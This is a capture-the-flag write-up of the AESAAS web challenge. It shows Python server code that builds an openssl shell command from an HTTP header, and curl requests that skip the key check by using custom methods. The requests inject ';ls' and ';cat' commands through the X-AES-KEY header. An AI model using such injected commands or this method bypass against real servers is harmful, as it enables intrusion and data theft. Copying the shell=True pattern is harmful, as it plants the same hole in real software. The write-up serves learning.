This post explains how I beat the capture-the-flag web challenge “AESAAS” during CyberSecurityRumble 2022, as part of the 0rganizers team.
Description
The challenge comes in the form of a web application,
for which we are provided full source code and a running instance.
The application exposes an API to perform cryptographic operations using AES.
The user supplies both the key and the input data.
Cryptographic details are not so important to the challenge since it is a web challenge.
Interestingly, the application invokes openssl
on the command line to perform encryption/decryption.
There may be a command injection vulnerability there.
The relevant sections of the challenge are shown below:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
|
AES_KEY_WHITELIST = r"^[A-Z0-9]{32}$"
AES_KEY_HEADER = "X-AES-KEY"
class ApiHandler(http.server.BaseHTTPRequestHandler):
def read_body(self):
...
def do_cli(self, cmd):
content = self.read_body()
output = run(cmd, capture_output=True, input=content, shell=True).stdout
self.send_response(200)
self.end_headers()
self.wfile.write(output)
def do_decrypt(self):
self.do_cli("xxd -r -p|openssl enc -d -aes-128-ecb -K {}".format(self.headers[AES_KEY_HEADER]))
def do_encrypt(self):
self.do_cli("openssl enc -aes-128-ecb -K {}|xxd -p".format(self.headers[AES_KEY_HEADER]))
def do_POST(self):
aes_key = self.headers.get(AES_KEY_HEADER, "")
if re.match(AES_KEY_WHITELIST, aes_key):
if self.path.startswith("/encrypt"):
self.do_encrypt()
elif self.path.startswith("/decrypt"):
self.do_decrypt()
else:
self.send_error(501, "Not supported.")
else:
self.send_error(400, "Invalid AES key.")
|
Solution
We would like to set the key to some command injection payload,
but the sanitization on POST
with the regex is air-tight.
However, the do_
prefix is used by http.server
to define HTTP methods,
including custom methods.
This means that if we use encrypt
or decrypt
as the request method, we can bypass it.
With curl
, we can use the -X
switch to pick a custom method.
1
2
3
|
curl -X decrypt -H 'X-AES-KEY: ;ls' http://chall.rumble.host:58792
# we see there is a file called flag_my_flag_is_amazing.txt
curl -X decrypt -H 'X-AES-KEY: ;cat flag_my_flag_is_amazing.txt' http://chall.rumble.host:58792
|
Flag
flag{LOOKATMYFLAG_MYFLAGISAMAZING}